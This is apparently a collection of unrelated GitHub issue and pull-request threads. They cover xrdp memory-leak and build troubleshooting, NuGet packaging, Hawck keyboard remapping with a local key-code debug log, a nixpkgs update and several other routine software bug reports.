xubuntu 16.04.1 X11rdp constantly eats memory

xubuntu 16.04.1 fresh install, xrdp build via:
sudo ./X11rdp-o-matic.sh --branch devel --justdoit
X11rdp eats memory until system kill it, i dont know is it right place to put issues about X11rdp memory leeaks...

lubuntu 16.04.1 same situation, after 2 days working, X11rdp process eats 4,5 of 8Gb

Debian 8.5 same sutuation

cannot build devel branch with sudo ./X11rdp-o-matic.sh --branch devel --justdoit
Downloading xrdp source from the GIT repository...
Cloning into '/home/lc/tmp/X11RDP-o-Matic/work/xrdp'...
remote: Counting objects: 502, done.
remote: Compressing objects: 100% (445/445), done.
remote: Total 502 (delta 119), reused 177 (delta 44), pack-reused 0
Receiving objects: 100% (502/502), 1.90 MiB | 0 bytes/s, done.
Resolving deltas: 100% (119/119), done.
Checking connectivity... done.
patching file buildx.sh
Hunk #1 FAILED at 250.
1 out of 1 hunk FAILED -- saving rejects to file buildx.sh.rej

Adding --nocpuoptimize option is workaround.  Now CPU optimization is merged into xrdp. More than 1 CPU cores will be used even --nocpuoptimize is specified. I will fix the issue shortly.

yeah, just removed this patch from X11rdp-o-matic.sh and build started

ubuntu 16.04 build failed with:
dh_installdocs
cp: cannot stat 'prog_std.txt': No such file or directory
dh_installdocs: cp --reflink=auto -a prog_std.txt debian/xrdp/usr/share/doc/xrdp returned exit code 1
debian/rules:18: recipe for target 'binary' failed
make: *** [binary] Error 2
dpkg-buildpackage: error: fakeroot debian/rules binary gave error exit status 2

debian 8.5 build failed with:
dpkg-source: error: cannot represent change to xorg/X11R7.6/rdp/librdp.a: binary file contents changed
dpkg-source: error: add xorg/X11R7.6/rdp/librdp.a in debian/source/include-binaries if you want to store the modified binary in the debian tarball
dpkg-source: error: cannot represent change to xorg/X11R7.6/rdp/rdpinput.o: binary file contents changed
dpkg-source: error: add xorg/X11R7.6/rdp/rdpinput.o in debian/source/include-binaries if you want to store the modified binary in the debian tarball
dpkg-source: error: unrepresentable changes to source
dpkg-buildpackage: error: dpkg-source -b xrdp-0.9.0+devel gave error exit status 2

Can you try my fork of X11RDP-o-Matic?  This will be bran-new X11RDP-o-Matic.
This is still testing but probably can build current xrdp devel head.
git clone --branch rootless https://github.com/metalefty/X11RDP-o-Matic.git
cd X11RDP-o-Matic
./X11RDP-o-Matic --branch devel

wow, man, you make my day, this version works like a charm, no memory leaks, no artifacts, will continue testing

Using the new rootless branch I am getting this.
/build.log
patching file sesman/sesman.ini
patching file xorgxrdp/xrdpdev/xorg.conf
patching file xrdp/xrdp.ini
Hunk #1 FAILED at 144.
1 out of 1 hunk FAILED
dpkg-source: info: the patch has fuzz which is not allowed, or is malformed
dpkg-source: info: if patch 'config.diff' is correctly applied by quilt, use 'quilt refresh' to update it
dpkg-source: info: restoring quilt backup files for config.diff
dpkg-source: error: LC_ALL=C patch -t -F 0 -N -p1 -u -V never -E -b -B .pc/config.diff/ --reject-file=- < xrdp-0.9.0~20161102+gitcab8955+devel/debian/patches/config.diff gave error exit status 1
dpkg-buildpackage: error: dpkg-source --before-build xrdp-0.9.0~20161102+gitcab8955+devel gave error exit status 2

I fixed it. Please try devel branch of scarygliders/X11RDP-o-Matic now.

Still same error
mmidgett@bk3:~$ rm -rf X11RDP-o-Matic/
mmidgett@bk3:~$ git clone https://github.com/scarygliders/X11RDP-o-Matic.git
Cloning into 'X11RDP-o-Matic'...
remote: Counting objects: 940, done.
remote: Compressing objects: 100% (18/18), done.
remote: Total 940 (delta 7), reused 0 (delta 0), pack-reused 922
Receiving objects: 100% (940/940), 248.83 KiB | 0 bytes/s, done.
Resolving deltas: 100% (561/561), done.
Checking connectivity... done.
mmidgett@bk3:~$ cd X11RDP-o-Matic/
mmidgett@bk3:~/X11RDP-o-Matic$ sudo ./X11rdp-o-matic.sh --justdoit --branch devel
Okay, will just do the install from start to finish with no user interaction...

Obtaining list of available branches...
devel gh-pages itamarjp-patch-1 master noorders v0.6 v0.7 v0.8 v0.8uni
Using branch ==>> devel <<==
Note : using the bleeding-edge version may result in problems :)
Using the following xrdp configuration : --prefix=/usr
Debian package version number will be : 0.9.0+devel
*** Will remove the contents of /opt/X11rdp and /home/mmidgett/X11RDP-o-Matic/work/xrdp-0.9.0+devel ***
running apt-get update
Checking for previously generated packages...
Downloading xrdp source from the GIT repository...
Cloning into '/home/mmidgett/X11RDP-o-Matic/work/xrdp'...
remote: Counting objects: 502, done.
remote: Compressing objects: 100% (445/445), done.
remote: Total 502 (delta 119), reused 175 (delta 44), pack-reused 0
Receiving objects: 100% (502/502), 1.90 MiB | 404.00 KiB/s, done.
Resolving deltas: 100% (119/119), done.
Checking connectivity... done.
patching file buildx.sh
Hunk #1 FAILED at 250.
1 out of 1 hunk FAILED -- saving rejects to file buildx.sh.rej

I can't see you're using devel branch.

mmidgett@bk3:~/X11RDP-o-Matic$ sudo ./X11rdp-o-matic.sh --justdoit --branch devel
Okay, will just do the install from start to finish with no user interaction...
Obtaining list of available branches...
devel gh-pages itamarjp-patch-1 master noorders v0.6 v0.7 v0.8 v0.8uni
Using branch ==>> devel <<==
Am I doing it wrong?

devel branch of scarygliders/X11RDP-o-Matic
mmidgett@bk3:~$ git clone https://github.com/scarygliders/X11RDP-o-Matic.git

git checkout devel after this will work for you :)

after rebuilding with devel scarygliders branch, xrdp stopped working for me:
lc@work:~$ sudo journalctl -u xrdp
ноя 15 17:06:59 work systemd[1]: Starting xrdp (X Remote Desktop Protocol) protocol server...
ноя 15 17:06:59 work systemd[1]: xrdp.service: PID file /run/xrdp/xrdp.pid not readable (yet?) after start: No such file or directory
ноя 15 17:07:00 work systemd[1]: Started xrdp (X Remote Desktop Protocol) protocol server.
ноя 15 17:07:01 work xrdp[840]: (840)(140014509463296)[INFO ] starting xrdp with pid 840
ноя 15 17:07:01 work xrdp[840]: (840)(140014509463296)[INFO ] listening to port 3389 on <IP_ADDRESS>
ноя 15 17:07:37 work xrdp[840]: (840)(140014509463296)[INFO ] A connection received from: <IP_ADDRESS> port 45146
ноя 15 17:07:37 work xrdp[840]: (840)(140014509463296)[DEBUG] Closed socket 12 (AF_INET <IP_ADDRESS>:3389)
ноя 15 17:07:37 work xrdp[1188]: (1188)(140014509463296)[DEBUG] Closed socket 11 (AF_INET <IP_ADDRESS>:3389)
ноя 15 17:07:37 work xrdp[1188]: (1188)(140014509463296)[CORE ] Warning: Your configured security layer is undefined, xrdp will negotiate client compatible
ноя 15 17:07:37 work xrdp[1188]: (1188)(140014509463296)[INFO ] Using default X.509 certificate: /etc/xrdp/cert.pem
ноя 15 17:07:37 work xrdp[1188]: (1188)(140014509463296)[INFO ] Using default X.509 key file: /etc/xrdp/key.pem
ноя 15 17:07:38 work xrdp[1188]: (1188)(140014509463296)[DEBUG] xrdp_000004a4_wm_login_mode_event_00000001
ноя 15 17:07:38 work xrdp[1188]: (1188)(140014509463296)[INFO ] Loading keymap file /etc/xrdp/km-00000409.ini
ноя 15 17:07:38 work xrdp[1188]: (1188)(140014509463296)[WARN ] local keymap file for 0x00000409 found and doesn't match built in keymap, using local keymap file
ноя 15 17:07:38 work xrdp[1188]: (1188)(140014509463296)[DEBUG] xrdp_wm_log_msg: connecting to sesman ip <IP_ADDRESS> port 3350
ноя 15 17:07:38 work xrdp[1188]: (1188)(140014509463296)[INFO ] xrdp_wm_log_msg: sesman connect ok
ноя 15 17:07:38 work xrdp[1188]: (1188)(140014509463296)[DEBUG] xrdp_wm_log_msg: sending login info to session manager, please wait...
ноя 15 17:07:38 work xrdp[1188]: (1188)(140014509463296)[DEBUG] return value from xrdp_mm_connect 0
ноя 15 17:07:39 work xrdp[1188]: (1188)(140014509463296)[INFO ] xrdp_wm_log_msg: login successful for display 10
ноя 15 17:07:39 work xrdp[1188]: (1188)(140014509463296)[DEBUG] xrdp_wm_log_msg: started connecting
ноя 15 17:07:42 work xrdp[1188]: (1188)(140014509463296)[DEBUG] Closed socket 17 (AF_UNIX)
ноя 15 17:07:46 work xrdp[1188]: (1188)(140014509463296)[DEBUG] Closed socket 17 (AF_UNIX)
ноя 15 17:07:49 work xrdp[1188]: (1188)(140014509463296)[DEBUG] Closed socket 17 (AF_UNIX)
ноя 15 17:07:53 work xrdp[1188]: (1188)(140014509463296)[DEBUG] Closed socket 17 (AF_UNIX)
....
ноя 15 17:11:09 work xrdp[1188]: (1188)(140014509463296)[DEBUG] xrdp_wm_log_msg: connection problem, giving up
ноя 15 17:11:09 work xrdp[1188]: (1188)(140014509463296)[DEBUG] Closed socket 17 (AF_UNIX)
ноя 15 17:11:09 work xrdp[1188]: (1188)(140014509463296)[DEBUG] xrdp_wm_log_msg: some problem
ноя 15 17:11:09 work xrdp[1188]: (1188)(140014509463296)[DEBUG] xrdp_mm_module_cleanup
ноя 15 17:11:09 work xrdp[1188]: (1188)(140014509463296)[DEBUG] Closed socket 16 (AF_INET <IP_ADDRESS>:60054)
ноя 15 17:11:09 work xrdp[1188]: (1188)(140014509463296)[DEBUG] Closed socket 12 (AF_INET <IP_ADDRESS>:3389)
ноя 15 17:11:09 work xrdp[1188]: (1188)(140014509463296)[DEBUG] xrdp_mm_module_cleanup
ноя 15 17:11:09 work xrdp[1188]: (1188)(140014509463296)[ERROR] Listening socket is in wrong state, terminating listener

also build script cannot find file:
Do the following command to see build progress.
$ tail -f /tmp/tmp.VcQSt6QHsI.X11RDP-o-Matic/build.log
Using the following xrdp configuration:
--prefix=/usr --sysconfdir=/etc --localstatedir=/var --enable-fuse --enable-jpeg --enable-opus
sed: can't read /tmp/tmp.VcQSt6QHsI.X11RDP-o-Matic/xorg/X11R7.6/buildx.sh: No such file or directory
Removing installed x11rdp...
Following command will be executed via sudo:
apt-get -y remove x11rdp
done
Following command will be executed via sudo:
rm -rf /opt/X11rdp
Following command will be executed via sudo:
mkdir -p /opt/X11rdp

I ran X11rdp under valgrind this weekend, but I haven't seen any major memory leaks. Just a few kilobytes here and there. Likewise, my fixes to xrdp are fairy minor. I suggest running X11rdp under valgrind on an affected system. Use a shell wrapper, as the display number (e.g. :10) is inserted after the first parameter. Make sure to use unstripped X11rdp (buildx.sh fixed two days ago to only strip the installed binary).

Yes, there was no memory leaks at least major, but when i tryed to move to 'devel' branch of scarygliders. It builded but i cannot connect to xrdp using remmina, i see only black screen, log i posted above, so i decided to build 'rootless' branch from metalefty fork, and build failed with:

upgraded to xubuntu 16.10, same situation, 'rootless' branch build failed, 'devel' branch build ok, but connection failed with the same logs

Here is not a place to debug o-Matic. The original issue should be solved in v0.9.2.
Please test v0.9.2 with xorgxrdp. If the issue still occurs with v0.9.2, please reopen.

yes its solved in 0.9.2


NuGet package - pack and release configuration

This pull request fixes #18
It delivers the packaging environment for the NuGet.org packaging system.

The implementation contains:

LICENSE file converted to the raw text file LICENSE.txt
Only .txt and .md extensions are recognized by the NuGet system
README.md copied into the packaging/ directory
Nuspec file: SharpVector.nuspec
This is the NuGet packaging configuration implemented as a XML file which contains all the details of the package.
Currently there are: author, project's repository URL, tags and description
Packaging script: pack.bat
It's responsibility is to pack the package according to the nuspec file and place it directly in the Build/ directory.

All of the packaging-related files are placed in the .github/ directory.
For more information check the commit messages.

NOTE: There's no package link provided, as there's currently a conflict between incorrect SharpVectors project ID and the ID of this project in the NuGet database.
This issue is currently being solved by the sides.

The link to the package:
https://www.nuget.org/packages/ExtendedVector/1.0.0


Convert ahk script to hwk, problems when using capslock as modifier

I want to convert this ahk script to hwk.
Particularly the "caps as modifier part":
SetCapsLockState, AlwaysOff

Capslock & RControl::ExitApp

; remapping capslock
#If capsToggle

Capslock & h::Left
Capslock & j::Down
Capslock & k::Up
Capslock & l::Right

Capslock & y::Home
Capslock & u::PgDn
Capslock & i::PgUp
Capslock & o::End

CapsLock & e::Enter
Capslock & b::BS
Capslock & n::Insert
Capslock & m::Del
CapsLock & a::Esc

; close window, close tab
Capslock & q::!F4
Capslock & w::^F4

Capslock & 1::F1
;...

Capslock & Tab::AppsKey
Capslock & Esc::`

; media keys
Capslock & ,::Media_Prev
Capslock & .::Media_Next
Capslock & /::Media_Play_Pause
Capslock & [::Volume_Down
Capslock & ]::Volume_Up
Capslock & \::Volume_Mute
Capslock & p::PrintScreen

Is this possible with hawk? Naively, I wanted to try to convert it with the aid of the provided examples, but had no avail.
Can you clarify on this or point me to some resources? I want to understand hawk better and, best case, provide the converted script as an example.
Hawk installation:
It is running as intended (example works) on Ubuntu 20.10.

Caps (or any other key) as modifier:
CapsMod = held("Caps")
down + CapsMod + key "q" => --[[ ... ]]--

CapsMod = held("Caps")
down + CapsMod + key "q" => say "Hopefully this works"
down + CapsMod + key "w" => insert "z"
down + CapsMod + key "a" => insert "b"

Oddly, these do not work for me. I only get "Q" and "W" and "A" as output.
I also tried your advice from #37 (comment) and setup logging for key press events.
When I watch the log with watch -pn 0.1 tail -n 20 /tmp/keylog.txt, I only see certain key codes: e.g. ctrl (29), alt (56), a(30) work, but caps (58) or s (31) for example do not.

@ghillb Did you run hawck-add on your script? Keys need to be whitelisted before inputd will pass them on to macrod.

Also, put this at the end before running hawck-add:
key "Caps" => function ()
  kbd:echo()
end

So that hawck-add will recognize "Caps" as a used key.

I put your snippet at the end of the script and run hawck-add on the script. The first time I got console output regarding authentication, but no authentication request popped up. The second time nothing at all happened:
⮞ hawck-add example.hwk
New keys added, require authentication for whitelisting them ...
gh@vu : ~/.config/hawck/scripts
⮞ hawck-add example.hwk

this is the whole non-functional script now:
any => function ()
    local f = io.open("/tmp/keylog.txt", "a")
    f:write(kbd.event_code)
    f:write("\n")
    f:close()
    kbd:echo()
end

CapsMod = held("Caps")
down + CapsMod + key "q" => say "Hopefully this works"
down + CapsMod + key "w" => insert "z"
down + CapsMod + key "a" => insert "b"

key "Caps" => function ()
  kbd:echo()
end

down + ctrl + key "a" => insert "b"

I tried running:
/usr/lib/policykit-1-gnome/polkit-gnome-authentication-agent-1

from Issue #13 and I got:


Cannot install platform specific extension remotely

Testing #133868
Installing with the server startup works, but installing from the Extensions viewlet fails:

The package.json does not contain a "kind". Repo: https://github.com/chrmarti/test-platform-specific-extensions

I should mention: This is on darwin x64 with an Alpine x64 container and the extension is published for alpine-x64.

Related: An extension without "kind" published for darwin-x64 installs locally and then stays disabled saying it is meant to run as a workspace extension. It does offer to "Install in dev container". Should the UI in this case refuse to install locally?

@chrmarti It works for me
[2021-09-28 13:02:42.185] [remoteagent] [info] Installing extension: chrmarti.test-platform-specific-extensions
[2021-09-28 13:02:42.283] [remoteagent] [info] Downloaded extension: chrmarti.test-platform-specific-extensions /home/node/.vscode-server-insiders/extensionsCache/chrmarti.test-platform-specific-extensions-0.0.3-alpine-x64
[2021-09-28 13:02:42.299] [remoteagent] [info] Removed the extension from uninstalled list: chrmarti.test-platform-specific-extensions
[2021-09-28 13:02:42.301] [remoteagent] [info] Extension installed successfully: chrmarti.test-platform-specific-extensions

I am on darwin x64 with an Alpine x64 container.
Do I miss any additional steps ?

@sandy081 I have rolled the extension back to the earlier state. Please try again. It still reproduces for me. I now also realize that it actually installed remotely, but there is also an error notification in the UI and an error in the renderer's log.

The error notification:

Ok, do you have settings sync on? Does it work when you disable settings sync or just install the extension without sync action?


notejot: 3.1.0 -> 3.1.1

Automatic update generated by nixpkgs-update tools. This update was made based on information from passthru.updateScript.
meta.description for notejot is: "Stupidly-simple sticky notes applet"
meta.homepage for notejot is: "https://github.com/lainsce/notejot"
meta.changelog for notejot is: ""
Updates performed

Ran passthru.UpdateScript

To inspect upstream changes

Release on GitHub

Compare changes on GitHub

Impact

Checks done (click to expand)

built on NixOS

The tests defined in passthru.tests, if any, passed

/nix/store/ffnjihkbb6fm2gz7v0q9f9bmvzcsnd4p-notejot-3.1.1/bin/io.github.lainsce.Notejot passed the binary check.

Warning: no invocation of /nix/store/ffnjihkbb6fm2gz7v0q9f9bmvzcsnd4p-notejot-3.1.1/bin/.io.github.lainsce.Notejot-wrapped had a zero exit code or showed the expected version

1 of 2 passed binary check by having a zero exit code.

0 of 2 passed binary check by having the new version present in output.

found 3.1.1 with grep in /nix/store/ffnjihkbb6fm2gz7v0q9f9bmvzcsnd4p-notejot-3.1.1

found 3.1.1 in filename of file in /nix/store/ffnjihkbb6fm2gz7v0q9f9bmvzcsnd4p-notejot-3.1.1

directory tree listing: https://gist.github.com/fe76f512bce1a7c31095599395a34bcf

du listing: https://gist.github.com/fe053715e66ff5b4b4654aeb44b393cb

Rebuild report (if merged into master) (click to expand)

3 total rebuild path(s)

1 package rebuild(s)

1 x86_64-linux rebuild(s)
1 i686-linux rebuild(s)
0 x86_64-darwin rebuild(s)
1 aarch64-linux rebuild(s)

First fifty rebuilds by attrpath
notejot

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/ffnjihkbb6fm2gz7v0q9f9bmvzcsnd4p-notejot-3.1.1 \
  --option binary-caches 'https://cache.nixos.org/ https://nix-community.cachix.org/' \
  --option trusted-public-keys '
  nix-community.cachix.org-1:mB9FSh9qf2dCimDSUo8Zy7bkq5CX+/rkCWyvRCYg3Fs=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(The Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A notejot https://github.com/r-ryantm/nixpkgs/archive/02c58cc5c8b4feb66f261604d94665f32f64e7d6.tar.gz

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/ffnjihkbb6fm2gz7v0q9f9bmvzcsnd4p-notejot-3.1.1
ls -la /nix/store/ffnjihkbb6fm2gz7v0q9f9bmvzcsnd4p-notejot-3.1.1/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
Result of nixpkgs-review run on x86_64-linux 1

1 package built:

notejot

Maintainer pings
cc @AndersonTorres @davidak @bobby285271 for testing.

Result of nixpkgs-review pr 135223 run on x86_64-linux 1

1 package built:

notejot


Fixes #27 and #28

Closes #27
Closes #28

KNOWN ISSUE: You may get a DateTimeFormatter exception when using /warp, /home, and /tprandom in this version for the first time! This will not appear for players. You can stop the exception by using these 3 commands as they will automatically reset corrupted data, or by deleting the cooldown section in player data files which will be rebuilt on next use.


Modelbinding FromRoute attribute parameter not resolved from routedata

I'm using a IRouteConstraint to create a route, which will add a complex object into the route data, when it has a hit. The matching action has a parameter that should contain this route data. I suspect that this argument requires the [FromRoute] attribute for the modelbinding to work, but it doesn't give the expected result.
Here is an example. The IRouteConstraint fetches some data from the database:
public class WoDContentAliasRoute : IRouteConstraint
    {
        public const string RouteMatchNode = "WoDContent";

        public bool Match(
            HttpContext httpContext,
            IRouter route,
            string parameterName,
            RouteValueDictionary values,
            RouteDirection routeDirection)
        {
            if (routeDirection != RouteDirection.IncomingRequest)
                return false;

            string url = values["url"] as string;
            if (string.IsNullOrEmpty(url))
                return false;

            ContentModel content = httpContext.RequestServices.GetService<CmsRequestContext>().WoDHelper().FindContentByAlias(url);
            if (content != null)
                values[RouteMatchNode] = content;

            return content != null;
        }
    }

The route is mapped like this in startup:
   routes.MapRoute(
                "wodcontent",
                "{url}",
                new { controller = "wod", action = "ContentPage" },
                new { node = new WoDContentAliasRoute() }
            );

And this works. The request ends up on the correct action:
        public IActionResult ContentPage([FromRoute] ContentModel WoDContent)
        {
            if (WoDContent == null)
                throw (new PageNotFoundException());

But, the WoDContent parameter is actually a new and empty object, while the RouteData.Values["WoDContent"] contains the correct object. This implementation did work on MVC 4 (without the FromRoute attribute). Is this a bug?

This looks like it's a good scenario for writing a custom model binder. Using constraints to change incoming data is not recommended.
@rynowak - can you share a link w/ more info?

Here's our doc on writing a custom model binder. If you need help, please open a new issue and explain what's not clear. Thanks!
https://docs.microsoft.com/en-us/aspnet/core/mvc/advanced/custom-model-binding


Possible crash upon _nativePeer.createOffer() on android build

Android build using IL2CPP , NET 2.0 standard and ARM64 crashes upon peer attempting to publish, seems to occur at _nativePeer.createOffer(). Only occurs on 1/5 devices tested (OnePlus 7T Pro).
Logs indicate a "signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x0" error, of "Cause: null pointer dereference"
To Reproduce

Initialise Peer with local media sources
Press publish button on app
Signaling is successful
Peer starts connection attempt
App hard crashes

Expected behavior

Initialise Peer with local media sources
Press publish button on app
Signaling is successful
Peer starts connection attempt
Peer successfully publishes media after SDP/ICE negotiation
App does not crash

Environment

MR-WebRTC version 2.0.2
Platform: Unity Android Player
Architecture: ARM64
Unity version 2020.3.0f1 (tested on 2019 latest LTS, same issue)
Target device: Android Phone (OnePlus 7T Pro)

tombstone_00.txt

Hi @RyanWarwick,
There's not much I can do with this. I don't see a callstack, so not sure how you know this is in createOffer(). Looking at this, I can't tell if it's in MixedReality-WebRTC or your own code. Could you try to get us more info please? A callstack at least would be great to confirm exactly where the crash happens.

I am currently trying to get a full output log from my developer's end. In the meantime upon further digging, the null pointer dereference seems to have been triggered when calling _nativePeer.createOffer() due to  the libmrwebrtc.so library not being found by the device...
A more detailed error extracted from the device adb logs that I have attached:
Failed to load native plugin: Unable to load library '/data/app/com.DefaultCompany.mixedrealitywebrtctest-hdRzfacFtumD_WK6EoHKlQ==/lib/arm64/libmrwebrtc.so', error 'java.lang.NullPointerException: Attempt to invoke virtual method 'java.lang.ClassLoader java.lang.Class.getClassLoader()' on a null object reference
I initially thought it was a installation location issue, but the problematic device does have any external storage (sd card etc)
videocall cmd logcat.txt

After digging through more logs, i was able to find that the "Failed to load native plugin: Unable to load library" also occurs on another phone. Could this be related to #677 ?

Upon further research on existing issues raised, i am quite certain this is related to #577. In both cases, a OnePlus android device was used. Please advise @djee-ms

Prefer External - it's work.
Force Internal - don't work
Unable to load library '/data/app/com.lanit.testwebrtc-5pmT--jjd4CwBUGvpU0SVA==/lib/arm64/libmrwebrtc.so', native render plugin support disabled: java.lang.NullPointerException: Attempt to invoke virtual method 'java.lang.ClassLoader java.lang.Class.getClassLoader()' on a null object reference


EvalFirstStepCallback only happens when eval_steps < 1.0

⚠ Please check that this feature request hasn't been suggested before.

[X] I searched previous Ideas in Discussions didn't find any similar feature requests.
[X] I searched previous Issues didn't find any similar feature requests.

🔖 Feature description
I found it odd to discover that validation always happens on first step which is great for sanity/baseline, but this is only true when eval_steps is expressed as a fraction of total steps, eliminating the cases when a custom validation set is provided or when eval_steps is simply given as a number. Maybe trivial but I don't see why limit this feature to this narrow use-case. Shall we set as a practice to always perform validation on step 1 (other frameworks as PL do something similar too).
✔ Solution
Simply remove L65 from file.
❓ Alternatives
No response
📝 Additional Context
Nothing more to add, thanks for the great project, keep up the good work!
Acknowledgements

[X] My issue title is concise, descriptive, and in title casing.
[X] I have searched the existing issues to make sure this feature has not been requested yet.
[X] I have provided enough information for the maintainers to understand and evaluate this request.

Maybe @winglian could help here?

Hey, could you make a PR on this? I think this sounds good.


Document MongoDB embedded document support

Based on: https://www.notion.so/prismaio/Using-Embedded-Types-d1a008e84d76415dac9fc1d23432083a

Closing this one, opening new ticket to track more detailed work to still be done (filtering by these types)


Get.width doesn't work in splash screen for release

To make my application responsive, I used this method of dividing the width of the page by the width of the page designed by the designer. And I will refer to the obtained value as ratio. Now, whenever a size needs to be given, I multiply it by the size given by the designer to the corresponding component. Now, when I want to use this value in the splash screen, there is no problem in the application test mode on the simulator, but when the release is taken, there is a problem here and the whole application is affected by it. This is in the case that if I don't use this ratio value in the splash screen. The application runs without any problems.
example:
This is an example of this problem occurring
class SplashScreen extends StatefulWidget {
  const SplashScreen({Key? key}) : super(key: key);

  @override
  State<SplashScreen> createState() => _SplashScreenState();
}

class _SplashScreenState extends State<SplashScreen> {

final double ratio = Get.width / 430.0;

  @override
  void initState() {
    super.initState();
    Timer(
      const Duration(milliseconds: 3000),
      () {
        Get.to();
      },
    );
  }

  @override
  Widget build(BuildContext context) {
    return Scaffold(
      body: Column(
        children: [
          Expanded(
            child: Container(
              width: ratio * 162.0,
              height: ratio * 162.0,
              decoration: BoxDecoration(
                image: DecorationImage(
                  image: AssetImage(logo),
                  fit: BoxFit.contain,
                ),
              ),
            ),
          ),
          const Padding(
            padding: EdgeInsets.only(bottom: 20.0),
            child: CupertinoActivityIndicator(
              color: Colors.white,
              radius: 15.0,
            ),
          ),
        ],
      ),
    );
  }
}

Hello Ahmad, you can use below solution, because GetX needs some time to initialize,
width: MediaQuery.of(context).size.width,


Scrollbars appear when File Explorer tab is active

Description
Scroll bars appear when you have the File Explorer tab active. See screenshot.
Steps to reproduce

Activate File Explorer

Expected results

No scrollbars on the viewport

A clear and concise description of what you expected to happen.
Actual results

Scroll bars on the viewport

Additional details and attachments

Only seems to occur if file explorer is almost the full page height


Seperate the Event badges from Vanity badges

Checklist

[X] I'm reporting a problem with Chatterino
[X] I've verified that I'm running the most recent nightly build or stable release
[X] I've looked for my problem on the wiki
[X] I've searched the issues and pull requests for similar looking reports

Describe your issue
Essentially asking for a separate 'Event' badges setting for badges such as GlitchCon, TwitchCon, GLHF Pledge, etc. I dislike how they are combined with gift, bits, and prime badges.

Screenshots
No response
OS and Chatterino Version
Chatterino 2.3.4 (commit 4e5170799) on Windows 10

They are in the same slot on Twitch's side

As an alternative, would there be no way to disable individual badges like how FFZ does?

This is a suggestion, not an issue. Please carefully read and follow the issue templates - which would've lead you to creating a discussion:


[Documentation] Mktg Call Monthly Stewards Onboarding

@mehmandarov,
You are currently writing the onboarding document to help Monthly Stewards share the workload. Such a task needs to be tracked via a git issue.
All MP tasks must be tracked via git issues. Choose the relevant Repo :)

Good point! You mean an issue in addition to this, or we can use this one? I have just pinged folks on the mailing list to have a look and suggest improvements.

I think the current task can be used for this purpose, just need to set @mehmandarov as assignee.

I'd recommend the following be added to the Steward's onboarding document:
After the call
Review call minutes and finalize the content.
(Optional) Create a named revision of the document (Marketing Committee Minutes - YYYY-MM-DD)
Create a ticket to the YouTube administration team to upload the Zoom recording (for example, see issue #561)
(What, if anything is done to the Meeting Minutes?)

Hi @edbratt
I updated the onboarding doc with your suggestions.
I've also gone through and accepted all the changes and updates I made to this document last month because no one has commented or put any more feedback here after several weeks and a couple mentions of the doc, so I felt it was time to move it forward.
@mehmandarov can you turn the onboarding document into a Wiki? I believe that is the next step and looks like from history of comments you were planning to do that.

@@nsardana-bny,
This is the document mentioned on Monday that needs export into MPWG wiki :) Thank you for finalizing your review on the write up. :)

@aeiras @mehmandarov @TetianaFTV @nsardana-bny @debbiehoffman
Hello all,
Since this ticket has been consolidated into #586 and is also being worked on in ticket #632, can it be closed?  Please add your comments here and update the minutes accordingly.  Thank you!  :)


[CI] Add the go deps cache to lint_macos_gitlab* and tests_macos_gitlab*

What does this PR do?
This PR uses the go deps cache for the lint_macos_gitlab* and tests_macos_gitlab* jobs.
Motivation

Avoid having network error in the jobs
Save CI Time

Describe how to test/QA your changes
Possible Drawbacks / Trade-offs
Additional Notes

/merge


Add Protonmail integration

This PR adds Toggl button integration for Protonmail.

Matches the email subject as description & email category as project name

Passed make lint.

Awesome - after rebasing it looks pretty awesome, thanks for your contribution!
I'm adding position: relative; top: -3px; to the button link .protonmail css, too, to vertically center it vs. the description headline a tiny bit better.

(Merged, although GitHub doesn't realize it.)


[VS Code] The collaboration session expired. Please sign in and try again.

%0A%0A%23%23 Error:%0AThe collaboration session expired. Please sign in and try again.%0A%0A%23%23 Steps to Reproduce:%0A1.%0A2.%0A%0A||Version Data|%0A|-:|:-|%0A|**extensionName**|VSLS|%0A|**extensionVersion**|1.0.337|%0A|**protocolVersion**|2.2|%0A|**applicationName**|VSCode|%0A|**applicationVersion**|1.35.0|%0A|**platformName**|MacOS|%0A|**platformVersion**|18.5.0|

Hi, , Thank you for reporting the issue. Did signing in again solved the issue ?  Does this consistently happen for you or happened once ? Also , your logs may provide us with helpful information. You can access them via the "Live Share: Export Logs" command from the command palette (ctrl + shift + p) and attach them to the issue. I am consolidating the issue with #2161 . Please attach your logs there and help us to investigate.


[Landcover toolkit] Add unit test support

[x] Example unit test
[x] Human-readable pretty-printed debug expressions for EE API objects
[x] Color diff for non-matching EE API objects

Closing to fix commit history, will reopen shortly.


SM: Analyze and fix failing testcases when using AutoPTS

This is a general issue that groups all issues with SM testcases when using AutoPTS. AutoPTS for Nimble is still work in process.
Test Case | Result |
-- | -- | --
SM/SLA/KDU/BV-07-C | FAIL | Verify that the IUT correctly handles a requested encrypted session setup to use the distributed LTK, EDIV and Rand values when the key distribution phase has completed
SM/SLA/PKE/BV-05-C | FAIL | Verify that the IUT that supports the Passkey Entry pairing procedure as responder correctly handles an initiator with insufficient security to result in an Authenticated key
SM/SLA/SIE/BV-01-C | FAIL | Verify that the IUT is able to initiate encryption as a slave
SM/SLA/SIP/BV-01-C | FAIL | Verify that the IUT is able to initiate a pairing as a slave

Update 07.02.2019:
Test Case | Result |
-- | -- | --
SM/MAS/JW/BV-05-C | PTS TIMEOUT | Verify that the IUT handles Just Works pairing failures
SM/SLA/KDU/BV-02-C | PTS TIMEOUT | Verify that the IUT sends IRK after a successful pairing
SM/SLA/KDU/BV-07-C | FAIL | Verify that the IUT correctly handles a requested encrypted session setup to use the distributed LTK, EDIV and Rand values when the key distribution phase has completed

Update 12.02.2019:
Test Case | Result |
-- | -- | --
SM/SLA/KDU/BV-07-C | FAIL | Verify that the IUT correctly handles a requested encrypted session setup to use the distributed LTK, EDIV and Rand values when the key distribution phase has completed

Is it still valid?

This is an old issue, nowadays we have rare failures so we can keep an issue per failed test.


Number values get rounded

A scalar in the yaml of:
value:<PHONE_NUMBER>999995999

Will be represented as a rounded number value of<PHONE_NUMBER>999996000 in the Javascript once parsed.
Please see: https://github.com/apigee-127/magic/issues/21 for more information.
Thanks!

